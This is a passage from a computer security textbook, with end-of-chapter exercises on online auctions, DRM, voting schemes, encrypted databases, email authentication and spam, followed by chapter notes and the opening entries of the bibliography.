R-15 What is shill bidding and why should an online auction company
care about stopping it? After all, doesn’t shill bidding increase the
profits for the online auction company?

R-16 Describe five reasonable restrictions that a movie company would
want to apply to people who rent their films from an online down-
load service.

R-17 Name three security risks that are possible in social networking
web sites.

R-18 Some social networking web sites provide mechanisms for users to
determine the GPS coordinates of where their friends are located at
any given moment. Describe some security and privacy risks that
this technology presents.
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R-19 What are the key security properties that any computer voting
scheme should have?

R-20 In the ThreeBallot voting system, if there are 23 candidates running
for the same office, how many bubbles does someone have to fill in
to correctly vote for their preferred candidate?

Creativity

C-1 Suppose that Bob is maintaining a server to store Alice’s database
and answer SQL queries for this database via the Internet. Alice
wants to achieve confidentiality for her database (including confi-
dentiality from Bob himself); hence, she wants to encrypt every cell
in her database tables. Describe how she can do this so that Bob can
still answer SQL queries to find every record that matches a certain
value, like Inaugural Age=46.2, except now the 46.2 will be some
encrypted value. Specify in your answer the cryptosystem Alice
should use and why, including why the Elgamal cryptosystem
would not work for this purpose.

C-2 Consider the outsourced database problem of the previous exer-
cise, but now suppose that there is an attribute, Age, in Alice’s
table for which she would like to do range queries, to select people
whose age falls in one of the standard decades, that is, teens,
twenties, thirties, etc. Explain how Alice can encrypt all of her
values to achieve confidentiality and still allow these types of range
queries.

C-3 Alice has a table of famous 19th-century people and their exact ages
at death, for which she wants to anonymize using generalization,
dividing ages into ranges, such as “46.35–48.08,” so that each age
range has at least 40, but no more than 80, people in it. Describe an
efficient algorithm for Alice to perform this generalization, assum-
ing there are no more than 40 people in Alice’s table with the same
exact age at death.

C-4 Describe how an email reading program (email user agent) should
handle messages signed with the S/MIME standard. Which noti-
fications should be given to the user? Recall that in the S/MIME
email authentication standard, the signature does not protect the
headers of the message.

C-5 Explain why a DNS cache poisoning attack can compromise DKIM
but not S/MIME. Describe how DKIM could be modified to defend
against DNS based attacks.
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C-6 A spammer named Richard pays people in Elbonia $0.01 for each
CAPTCHA they solve, which he can then use to create an email ac-
count that can send out 10,000 spam emails before it is shut down.
The conversion rate for his spam is the standard 0.001% and he has
no other expenses other than the money he pays his employees in
Elbonia. What is the formula for Richard to determine his expected
profit in terms of N, the number of recipients, and R, the dollar
return on each converted responder?

C-7 Suppose Alice has a policy that she trusts the key of anyone pro-
vided their key is signed by her, signed by someone whose key she
has signed, signed by someone whose key is signed by someone
whose key she has signed, etc. Draw a diagram for a web of trust
having at least 10 people such that Alice trusts everyone but she
has signed only one key. Likewise, Draw a diagram for a web of
trust having at least 10 people such that Alice trusts no one (other
than herself).

C-8 Describe an alternative CAPTCHA system, other than twisting
words into strange shapes, that would be easy for a computer to
generate but hard for a computer to solve.

C-9 Alice has a whitelist solution to her spam problem: she only
accepts emails from people who are in her address book. All other
emails are rejected. Is this an effective way to block spam? Why or
why not?

C-10 Describe a rule change that would allow sellers and buyers in an
online auction to still provide feedback on their experience but
would prevent them from holding their feedback for ransom in
response to first getting a positive feedback from the other party.

C-11 Some social networking web sites provide mechanisms for users to
determine the GPS coordinates of where their friends are located at
any given moment. Describe a generalization scheme that would
anonymize this information using disjoint rectangles so that any
reported rectangular region as a “location” always has at least k
people in it, for some security parameter k.

C-12 Generalize the ThreeBallot system to use four ballots instead of
three. What are the advantages and disadvantages of this gener-
alization?

C-13 Explain why the ThreeBallot system won’t achieve all of its security
goals if only two ballots are used instead of three.
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Projects

P-1 Do an experiment involving the use of additive noise for protecting
a database from inference attacks. Your database should begin by
generating a specific list of values that have a mean of 25.0. Then,
anonymize these values by adding a random noise value, which is
designed to have an expected value of 0. For instance, you could
use uniformly distributed values in [−1, 1] or you could use values
generated by a Normal (i.e., Gaussian) distribution with mean 0.
Test the degree to which the mean of your values changes as a
result of this noise addition. Include tests for a list of 1,000, 10,000,
and 100,000 values, and both the uniform and Normal distributions
for noise.

P-2 Write a term paper that, based on the use of an email account
that regularly gets spam, classifies and categorizes the spam this
accounts gets in a given week. Categorize the spams in terms
of similar goals or patterns and describe in qualitative terms the
objective of the spam in each category if possible, that is, whether
it is for a product, phishing attack, etc. Also describe the kind of
artificial intelligence that is needed to distinguish each category of
spam from real emails.

P-3 Write a term paper that compares and contrasts the needs of digital
content providers to protect their rights to a fair compensation for
the use of their work with the various restrictions possible using
DRM technology. Include discussions of the conflicts of fair use
and possible rights revocation.

P-4 Using a language like Java or Python that can process audio data,
write a program that can maintain an audio library under some
basic DRM functionality. Provide a way for clients to rent audio
files and content owners to enforce rules for playing, expiration of
playing rights, copying, etc.

P-5 Write a program that simulates the ThreeBallot voting scheme.
Your program doesn’t have to necessarily handle paper ballots, but
it should have a user interface for users to vote and “take” their
receipts. After all voting is done, your system should then tally
and report the results in a way that people can verify their votes
were counted accurately.
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Chapter Notes

Griffiths and Wade describe a framework for granting and revoking permissions
in a database in their seminal paper from 1976 [36]. Li, Shirani-Mehr, and Yang
discuss show how to protect against inference attacks in when publishing data [55].
Signed MIME email is defined in RFC 1847. The S/MIME standard is defined
in RFC 2633. An overview of DKIM is given in RFC 5585. PGP is described in
the official user’s guide by Zimmermann [112]. The DKIM standard is defined
in RFC 4871. Kanich et al. present a study of spam conversion rates [45]. The
ALPACAS system was developed by Li, Zhong, and Ramaswamy [56]. Murdoch
and Anderson critique the 3D Secure authentication protocol for credit card pur-
chases [62]. David Chaum pioneered a blind signature technique for digital cash
in his 1982 paper [15]. Key graphs, which generalize key trees, are discussed by
Wong, Gouda and Lam [109]. The AACS DRM specification is available on the
website of the AACS Licensing Administrator (www.aacsla.com). The revocation
method used in AACS is based on the work by Naor, Naor, and Lotspiech [63].
ThreeBallot and two other secure voting schemes based on paper ballots are
described by Rivest and Smith [83].

Distributed-Applications Security

498



Bibliography

[1] Aleph One. Smashing the stack for fun and profit. Phrack Magazine, 49(14),
1996. http://www.phrack.org/issues.html?issue=49&id=14.

[2] D. Asonov and R. Agrawal. Keyboard acoustic emanations. In IEEE Symp.
on Security and Privacy, pages 3–11, 2004.

[3] D. Bell and L. La Padula. Secure computer systems: Mathematical founda-
tions and model. Report mtr-2547, MITRE Corp., 1973.

[4] S. M. Bellovin. A look back at ”Security problems in the TCP/IP protocol
suite”. In Annual Computer Security Applications Conf. (ACSAC), pages 229–
249, 2004.

[5] K. Biba. Integrity considerations for secure computer systems. Report mtr-
3153, MITRE Corp., 1977.

[6] P. Bisht, P. Madhusudan, and V. N. Venkatakrishnan. CANDID: Dynamic
candidate evaluations for automatic prevention of SQL injection attacks.
ACM Trans. Inf. Syst. Secur, 13(2):1–39, 2010.

[7] M. Blaze. Cryptology and physical security: Rights amplification in master-
keyed mechanical locks. IEEE Security and Privacy, 1(2):24–32, 2003.

[8] M. Blaze. Notes on picking pin tumbler locks, 2003. http://www.crypto.com/
papers/notes/picking/.

[9] M. Blaze. Safecracking for the computer scientist. Technical report, Uni-
versity of Pennsylvania, Department of Computer and Information Science,
2004. http://www.crypto.com/papers/safelocks.pdf.

[10] M. Boldt and B. Carlsson. Privacy-invasive software and preventive mech-
anisms. In R. K. Jain, editor, Malware: An Introduction, pages 78–95. ICFAI
Press, 2007.

[11] S. C. Bono, M. Green, A. Stubblefield, A. Juels, A. D. Rubin, and M. Szydlo.
Security analysis of a cryptographically-enabled RFID device. In USENIX
Security Symp., pages 1–15, 2005.

[12] N. Borisov, I. Goldberg, and D. Wagner. Intercepting mobile communica-
tions: the insecurity of 802.11. In MobiCom. Conf., pages 180–189, 2001.

From Introduction Computer Science, First Edition, Michael T. Goodrich,
Roberto Tamassia Copyright    2011 by Pearson Education, Inc. Published by
Pearson Addison-Wesley. All rights reserved.

tothe Bibliography of
. 

499



[13] S. W. Boyd and A. D. Keromytis. SQLrand: Preventing SQL injection attacks.
In Applied Cryptography and Network Security Conf. (ACNS), pages 292–302,
2004.

[14] D. F. Brewer and M. J. Nash. The Chinese wall security policy. In IEEE Symp.
on Security and Privacy, pages 206–218, 1989.

[15] D. Chaum. Blind signatures for untraceable payments, 1982.
[16] W. R. Cheswick, S. M. Bellovin, and A. D. Rubin. Firewalls and Internet

Security: Repelling the Wily Hacker. Addison-Wesley, 2nd edition, 2003.
[17] F. Cohen. Computer viruses: theory and experiments. Computers and

Security, 6(1):22 – 35, 1987.
[18] D. E. Comer. Internetworking with TCP/IP: Principles, Protocols, and Architec-

ture, volume 1. Prentice Hall, 2000.
[19] N. Courtois, G. V. Bard, and D. Wagner. Algebraic and slide attacks on

KeeLoq. In Workshop on Fast Software Encryption (FSE), volume 5086 of
Lecture Notes in Comp. Sci., pages 97–115. Springer, 2008.

[20] C. Cowan, C. Pu, D. Maier, H. Hintony, J. Walpole, P. Bakke, S. Beattie,
A. Grier, P. Wagle, and Q. Zhang. StackGuard: automatic adaptive detection
and prevention of buffer-overflow attacks. In Proce. USENIX Security Symp.,
pages 63–78, 1998.

[21] A. Czeskis, D. J. S. Hilaire, K. Koscher, S. D. Gribble, T. Kohno, and
B. Schneier. Defeating encrypted and deniable file systems: TrueCrypt v5.1a
and the case of the tattling OS and applications. In USENIX Conf. on Hot
Topics in Security (HOTSEC), pages 1–7, 2008.

[22] J. Daemen and V. Rijmen. The Design of Rijndael: AES—The Advanced Encryp-
tion Standard. Springer, 2002.
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